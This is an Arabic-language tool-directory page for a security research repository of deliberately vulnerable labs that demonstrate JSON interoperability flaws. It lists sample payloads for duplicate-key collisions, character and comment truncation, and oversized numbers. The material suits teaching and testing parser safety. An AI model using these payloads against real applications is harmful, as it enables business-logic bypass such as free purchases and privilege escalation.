Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
json-interop-vuln-labs — مختبرات مصاحبة لـ «استكشاف ثغرات قابلية التشغيل البيني في JSON» | Kitploit
أدوات/GitHubGitHub/bishopfox/json-interop-vuln-labs
تحليل الثغرات الأمنيةاستغلال تطبيقات الويبأمن الويبالتعلم والتعليممختبرات وتدريب عملي
GitHubbishopfox/json-interop-vuln-labs

json-interop-vuln-labs

مختبرات مصاحبة لـ «استكشاف ثغرات قابلية التشغيل البيني في JSON»

عرض المستودع
21019منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

مختبرات ثغرات التوافق البيني لـ JSON

الوصف

هذه هي المختبرات المرافقة لمقالتي البحثية "استكشاف ثغرات التوافق البيني في JSON".

المختبر 1: عمليات شراء مجانية في تطبيق تجارة إلكترونية

  • هجمات تصادم المفاتيح: أسبقية غير متناسقة للمفاتيح المكررة
  • تمثيلات غير متناسقة للأرقام الكبيرة

المختبر 2: تصعيد الامتيازات في تطبيق متعدد المستأجرين

  • هجمات تصادم المفاتيح: اقتطاع الأحرف

ترتبط هذه المختبرات بمنافذ المضيف 5000-5004، افتراضيًا.

تقنيات الهجوم

1. تصادم المفاتيح

أسبقية غير متناسقة للمفاتيح المكررة

root@kitploit:~
{"qty": 1, "qty": -1}

اقتطاع الأحرف

الاقتطاع في المحللات ذات أسبقية المفتاح الأخير (اعكس الترتيب لأسبقية المفتاح الأول)

root@kitploit:~
{"qty": 1, "qty\<raw \x0d byte here>": -1}
{"qty": 1, "qty\ud800": -1} # Any unpaired surrogate U+D800-U+DFFF
{"qty": 1, "qty"": -1}
{"qty": 1, "qt\y": -1}

اقتطاع التعليقات

تستغل هذه المستندات الدعم غير المتناسق للتعليقات ودعم السلاسل النصية بدون علامات اقتباس:

root@kitploit:~
{"qty": 1, "extra": 1/*, "qty": -1, "extra2": 2*/}
{"qty": 1, "extra": a/*, "qty": -1, "extra2": b*/}
{"qty": 1, "extra": "a/*", "qty": -1, "extra2": "b"*/}
{"qty": 1, "extra": "a"//, "qty": -1}

2. فك ترميز الأرقام

فك ترميز غير متناسق للأرقام الكبيرة

قد يتم تحويل هذه القيم الرقمية الكبيرة إلى سلاسل نصية (مثل "+Infinity")، مما قد يؤدي إلى ثغرات التلاعب بالأنواع. أو قد يتم تحويلها إلى MAX_INT/MIN_INT، أو قيم مقربة، أو 0، مما قد يسمح بتجاوز منطق الأعمال.

root@kitploit:~
{"qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": -999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": 1.0e4096}
{"qty": -1.0e4096}

المؤلف

تويتر: @theBumbleSec

جيت هاب: the-bumble

تنزيل الأداة